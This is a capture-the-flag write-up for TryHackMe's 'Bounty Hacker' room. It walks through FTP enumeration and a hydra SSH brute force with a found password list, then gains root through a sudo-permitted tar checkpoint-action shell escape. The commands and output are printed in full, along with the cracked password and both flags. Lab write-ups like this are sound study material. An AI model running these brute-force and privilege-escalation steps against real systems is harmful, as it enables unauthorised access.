# **Easy notes - Bounty Hacker**

### **Enumeration**

### ping

```
→ bountyhacker ping $IP -c 4

PING 10.10.175.38 (10.10.175.38) 56(84) bytes of data.

64 bytes from 10.10.175.38: icmp_seq=1 ttl=63 time=20.1 ms

64 bytes from 10.10.175.38: icmp_seq=2 ttl=63 time=18.8 ms

64 bytes from 10.10.175.38: icmp_seq=3 ttl=63 time=19.0 ms

64 bytes from 10.10.175.38: icmp_seq=4 ttl=63 time=19.6 ms

--- 10.10.175.38 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3005ms

rtt min/avg/max/mdev = 18.816/19.364/20.071/0.504 ms
```

### nmap

### website

Just a single page, with nothing in the source.



Spike: "..Oh look you're finally up. It's about time, 3 more minutes and you were going out with the garbage."

Jet: "Now you told Spike here you can hack any computer in the system. We'd let Ed do it but we need her working on something else and you were getting real bold in that bar back there. Now take a look around and see if you can get that root the system and don't ask any questions you know you don't need the answer to, if you're lucky I'll even make you some bell peppers and beef."

Ed: "I'm Ed. You should have access to the device they are talking about on your computer. Edward and Ein will be on the main deck if you need us!"

Faye:"..hmph.."

### ftp

We have found two files:

### task.txt

- → bountyhacker cat task.txt
- 1.) Protect Vicious.
- 2.) Plan for Red Eve pickup on the moon.

-lin

This seems to give us a possible username - lin

### locks.txt

→ bountyhacker cat locks.txt
rEddrAGON
ReDdr4gonSynd!cat3
Dr@gon\$yn9icat3
R3DDr4GONSYndIC@Te
ReddRAGON
R3dDragonSynd1c4te
dRa6oNSYNDiCATE
ReDDR4gon5ynDIc4te
R3Dr4gon5ynDIc4te
R3Dr4gonSynd1cat3
R3dDRaGoNsynd1cet3
Synd1c4teDr@gon
reddRAgoN
REddRaGONSyNdIC47e
Dra6onSyndIC47a
Llmi6H71StHeB357
rEDdragon\$ynd1c473
DrAgoNSynDIcATE

```
ReDdrag0n$ynd1cate
Dr@g0n$yND1C4Te
RedDr@gonSyn9ic47e
REd$yNdIc47e
dr@goN5YNd1c@73
rEDdrAGOnSyNDiCat3
r3ddr@g0N
ReDSynd1ca7e
```

A possible list of passwords.

### ssh

With a name and a short list of passwords, we already know that port 22 is available, so we can try to brute using hydra:

```
→ bountyhacker hydra -l lin -P locks.txt $IP -t4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-21 11:57:32
[DATA] max 4 tasks per 1 server, overall 4 tasks, 26 login tries (l:1/p:26), ~7 tries per task
[DATA] attacking ssh://10.10.175.38:22/
[22][ssh] host: 10.10.175.38 login: lin password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-21 11:57:39
```

Now we are on the box, a quick check of our surroundings gets the user flag.

```
h bountyhacker ssh lin@$IP
The authenticity of host '10.10.175.38 (10.10.175.38)' can't be established.
ED25519 key fingerprint is SHA256:Y140oz+ukdhfy68/c5KvqKdvm+Kl+gLSvokSys7SgPU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.175.38' (ED25519) to the list of known hosts.
lin@10.10.175.38's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

83 packages can be updated.
0 updates are security updates.

Last login: Sun Jun 7 22:23:41 2020 from 192.168.0.14
lin@bountyhacker:~/Desktop$ ls
user.txt
lin@bountyhacker:~/Desktop$ cat user.txt
THM{CR1M3_SyNd1C4T3}
```

Checking for low hanging fruit we run sudo -1 and find that we can:

```
lin@bountyhacker:~$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar
```

So we can can run tar as root. Quickly checking GTFObins for tar exploits:

## Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

Let's run this on the terminal:

```
lin@bountyhacker:~$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
THM{80UN7Y_h4cK3r}
```

Straight into root, which gives us the final flag.